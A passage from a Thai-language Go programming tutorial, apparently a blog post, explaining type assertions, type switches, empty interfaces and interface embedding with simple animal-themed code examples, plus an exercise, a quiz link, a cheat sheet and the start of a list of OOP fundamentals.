}</code></pre><p>intValue, ok := v.(int) &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE48;&#xE32; v &#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; int &#xE16;&#xE49;&#xE32;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE44;&#xE14;&#xE49;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08; &#xE04;&#xE48;&#xE32; int &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19; intValue &#xE41;&#xE25;&#xE30; ok &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; true &#xE41;&#xE15;&#xE48;<strong>&#xE16;&#xE49;&#xE32; v &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48; int &#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; intValue &#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; 0</strong> &#xE41;&#xE25;&#xE30; ok &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; false</p><p>&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>if intValue, ok := v.(int); ok</code> &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE47;&#xE04;&#xE04;&#xE48;&#xE32; ok &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE48;&#xE32; v &#xE16;&#xE49;&#xE32; ok &#xE40;&#xE1B;&#xE47;&#xE19; true &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49; intValue &#xE44;&#xE14;&#xE49; &#xE41;&#xE15;&#xE48;&#xE16;&#xE49;&#xE32; ok &#xE40;&#xE1B;&#xE47;&#xE19; false &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21; &quot;Cannot double value of type...&quot; &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE1B;&#xE25;&#xE48;&#xE2D;&#xE22;&#xE43;&#xE2B;&#xE49; Program &#xE40;&#xE01;&#xE34;&#xE14; Panic</p><p><strong>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Type Switch</strong></p><pre><code>func doubleValue(v interface{}) {
    switch val := v.(type) {
    case int:
        result := val * 2
        fmt.Println(&quot;Double value:&quot;, result)
    case float64:
        result := val * 2
        fmt.Println(&quot;Double value:&quot;, result)
    default:
        fmt.Printf(&quot;Cannot double value of type %T\n&quot;, v)
    }
}

doubleValue(5)        // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;
doubleValue(3.14)     // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A; float64
doubleValue(&quot;Hello&quot;)  // &#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; panic</code></pre><p>Type Switch &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Type &#xE2B;&#xE25;&#xE32;&#xE22; Type &#xE44;&#xE14;&#xE49;&#xE2A;&#xE30;&#xE14;&#xE27;&#xE01; &#xE42;&#xE14;&#xE22; Type &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE43;&#xE19; case &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32; Default Case</p><p>&#xE17;&#xE31;&#xE49;&#xE07; Type Assertion &#xE41;&#xE25;&#xE30; Type Switch<strong> </strong>&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE15;&#xE32;&#xE21; Type &#xE17;&#xE35;&#xE48;&#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE40;&#xE23;&#xE32;&#xE04;&#xE27;&#xE23;&#xE43;&#xE0A;&#xE49; Empty Interface &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE2A;&#xE39;&#xE07;&#xE21;&#xE32;&#xE01; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE23;&#xE39;&#xE49; Type &#xE25;&#xE48;&#xE27;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23; Parse JSON</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33; Embedding &#xE01;&#xE31;&#xE1A; Interface &#xE44;&#xE14;&#xE49;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Struct Embedding</p><p><strong>Interface Embedding</strong> &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE23;&#xE27;&#xE21; Interface &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; Interface &#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Interface &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;</p><pre><code>// Interface &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE21;&#xE35;&#xE0A;&#xE35;&#xE27;&#xE34;&#xE15;&#xE17;&#xE35;&#xE48;&#xE40;&#xE04;&#xE25;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE44;&#xE2B;&#xE27;&#xE44;&#xE14;&#xE49;
type Mover interface {
    Move() string
}

// Interface &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE21;&#xE35;&#xE0A;&#xE35;&#xE27;&#xE34;&#xE15;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;&#xE44;&#xE14;&#xE49;
type Sounder interface {
    MakeSound() string
}

// Interface &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE31;&#xE15;&#xE27;&#xE4C;&#xE40;&#xE25;&#xE35;&#xE49;&#xE22;&#xE07;
type Pet interface {
    GetName() string
}

// &#xE23;&#xE27;&#xE21; Interfaces &#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; Animal
type Animal interface {
    Mover
    Sounder
    Pet
}

// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Struct &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE41;&#xE21;&#xE27;
type Cat struct {
    Name string
}

// Implement Move &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Cat
func (c Cat) Move() string {
    return c.Name + &quot; is sneaking around&quot;
}

// Implement MakeSound &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Cat
func (c Cat) MakeSound() string {
    return c.Name + &quot; says: Meow!&quot;
}

// Implement GetName &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Cat
func (c Cat) GetName() string {
    return c.Name
}

// Function &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A; Animal Interface
func DescribeAnimal(a Animal) {
    fmt.Println(&quot;Name:&quot;, a.GetName())
    fmt.Println(&quot;Movement:&quot;, a.Move())
    fmt.Println(&quot;Sound:&quot;, a.MakeSound())
}

func main() {
	myCat := Cat{Name: &quot;&#xE15;&#xE38;&#xE19;&#xE15;&#xE31;&#xE07;&quot;}
	DescribeAnimal(myCat)
}</code></pre><p>Interface Embedding &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Composition &#xE02;&#xE2D;&#xE07; Interface &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Interface &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE41;&#xE22;&#xE01;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE16;&#xE49;&#xE32;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE02;&#xE2D;&#xE07; Animal &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Interface &#xE43;&#xE2B;&#xE21;&#xE48; &#xE41;&#xE25;&#xE49;&#xE27;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Interface &quot;Animal&quot; &#xE04;&#xE23;&#xE31;&#xE1A;</p><p><strong>Function &#xE43;&#xE19; Go &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE44;&#xE14;&#xE49;</strong> &#xE40;&#xE0A;&#xE48;&#xE19; Function &quot;getRandomAnimal()&quot; &#xE43;&#xE19;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE16;&#xE31;&#xE14;&#xE44;&#xE1B; &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Interface Soundmaker &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE40;&#xE1B;&#xE47;&#xE19; Type Dog, Cat &#xE2B;&#xE23;&#xE37;&#xE2D; Cow &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Implement Soundmaker Interface (Implement Method MakeSound)</p><p>&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE19;&#xE2D;&#xE19;&#xE32;&#xE04;&#xE15;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2A;&#xE31;&#xE15;&#xE27;&#xE4C;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48; (&#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Implement Soundmaker Interface) &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE15;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07; Signature &#xE02;&#xE2D;&#xE07; Function &quot;getRandomAnimal()&quot;</p><pre><code>package main

import (
    &quot;fmt&quot;
    &quot;math/rand&quot;
)

// &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Interface
type Soundmaker interface {
    MakeSound() string
}

// &#xE01;&#xE32;&#xE23;&#xE19;&#xE33;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49; (Implementation)
type Dog struct{}
type Cat struct{}
type Cow struct{}

func (d Dog) MakeSound() string {
    return &quot;Woof!&quot;
}

func (c Cat) MakeSound() string {
    return &quot;Meow!&quot;
}

func (c Cow) MakeSound() string {
    return &quot;Moo!&quot;
}

// Function &#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Interface Soundmaker
func getRandomAnimal() Soundmaker {
    randomNumber := rand.Intn(3)
    switch randomNumber {
    case 0:
        return Dog{}
    case 1:
        return Cat{}
    default:
        return Cow{}
    }
}

// &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Interface Soundmaker &#xE40;&#xE1B;&#xE47;&#xE19; Parameter
func AnimalSound(s Soundmaker) {
    fmt.Println(s.MakeSound())
}

func main() {
    // &#xE43;&#xE0A;&#xE49; Function &#xE17;&#xE35;&#xE48;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Interface
    for i := 0; i &lt; 5; i++ {
        animal := getRandomAnimal()
        fmt.Printf(&quot;&#xE2A;&#xE31;&#xE15;&#xE27;&#xE4C;&#xE15;&#xE31;&#xE27;&#xE17;&#xE35;&#xE48; %d &#xE2A;&#xE48;&#xE07;&#xE40;&#xE2A;&#xE35;&#xE22;&#xE07;: &quot;, i+1)
        AnimalSound(animal)
    }

    // &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; type assertion
    randomAnimal := getRandomAnimal()
    switch v := randomAnimal.(type) {
    case Dog:
        fmt.Println(&quot;&#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D;&#xE2B;&#xE21;&#xE32;!&quot;)
    case Cat:
        fmt.Println(&quot;&#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D;&#xE41;&#xE21;&#xE27;!&quot;)
    case Cow:
        fmt.Println(&quot;&#xE19;&#xE35;&#xE48;&#xE04;&#xE37;&#xE2D;&#xE27;&#xE31;&#xE27;!&quot;)
    default:
        fmt.Printf(&quot;&#xE44;&#xE21;&#xE48;&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE2A;&#xE31;&#xE15;&#xE27;&#xE4C;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE19;&#xE35;&#xE49;: %T\n&quot;, v)
    }
}</code></pre><h3 id="exercise-3"><em><em><em><em><em><em><em><em>Exercise</em></em></em></em></em></em></em></em></h3><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Interface &quot;Mover&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; method Move() &#xE41;&#xE25;&#xE30; Implement &#xE14;&#xE49;&#xE27;&#xE22; Struct &#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</p><p><em><a href="https://forms.gle/ScQ3cvQbqgksDNVk8?ref=blog.pjjop.org"><em><em><em><em><em><em><em>Go Quiz </em></em></em></em>7</em></em></em></a><em><em><em><em><em><em><em> (</em></em></em></em>23<em><em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em></em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em><em><em><em><em>Q&amp;A?</em></em></em></em></em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-interface-%E0%B8%97%E0%B8%B3%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%9E%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88"><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet</em></em> </em>Interface : &#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE39;&#xE49;&#xE08;&#xE31;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE2B;&#xE21;&#xE48;</em></h3><pre><code>Interface
---------

1. &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; Interface
   type &#xE0A;&#xE37;&#xE48;&#xE2D;Interface interface {
       &#xE0A;&#xE37;&#xE48;&#xE2D;Method1() ReturnType1
       &#xE0A;&#xE37;&#xE48;&#xE2D;Method2(ParamType) ReturnType2
   }

2. &#xE01;&#xE32;&#xE23; Implement Interface
   - Struct &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Method &#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE35;&#xE48; Interface &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE08;&#xE30; Implement Interface &#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;
   - &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;&#xE27;&#xE48;&#xE32; Implement &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2D;&#xE37;&#xE48;&#xE19;

3. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Interface &#xE40;&#xE1B;&#xE47;&#xE19; Parameter:
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;(param &#xE0A;&#xE37;&#xE48;&#xE2D;Interface) {
       // &#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; methods &#xE02;&#xE2D;&#xE07; interface
   }

4. Empty Interface
   interface{}  // &#xE23;&#xE31;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE17;&#xE38;&#xE01;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;

5. Type Assertion
   value, ok := interfaceVar.(ConcreteType)

6. Type Switch
   switch v := interfaceVar.(type) {
   case Type1:
       // v &#xE40;&#xE1B;&#xE47;&#xE19; Type1
   case Type2:
       // v &#xE40;&#xE1B;&#xE47;&#xE19; Type2
   default:
       // &#xE44;&#xE21;&#xE48;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Type &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;
   }

7. Best Practices:
   - &#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; Interface &#xE43;&#xE2B;&#xE49;&#xE40;&#xE25;&#xE47;&#xE01;&#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE08;&#xE38;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE07;&#xE04;&#xE4C;&#xE0A;&#xE31;&#xE14;&#xE40;&#xE08;&#xE19;
   - &#xE43;&#xE0A;&#xE49; Composition &#xE02;&#xE2D;&#xE07; Interfaces &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Interface &#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;</code></pre><h3 id="%E0%B9%80%E0%B8%9E%E0%B8%B4%E0%B9%88%E0%B8%A1%E0%B9%80%E0%B8%95%E0%B8%B4%E0%B8%A1-four-fundamental-of-oop">&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21; : Four Fundamental of OOP</h3><ol><li><strong>Abstraction </strong>&#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE0B;&#xE48;&#xE2D;&#xE19;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE41;&#xE25;&#xE30;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE42;&#xE1F;&#xE01;&#xE31;&#xE2A;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE19;&#xE43;&#xE08;&#xE23;&#xE32;&#xE22;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE48;&#xE2D;&#xE19;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE07;</li><li><strong>Encapsulation </strong>&#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1A;&#xE32;&#xE07;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE27;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE41;&#xE15;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE15;&#xE31;&#xE49;&#xE07;&#xE44;&#xE27;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE14;&#xE39;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE49;&#xE19; &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE44;&#xE21;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE16;&#xE39;&#xE01;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE15;&#xE31;&#xE49;&#xE07;&#xE43;&#xE08;</li><li><strong>Inheritance </strong>&#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE38;&#xE13;&#xE2A;&#xE21;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE41;&#xE25;&#xE49;&#xE27;&#xE44;&#xE14;&#xE49; 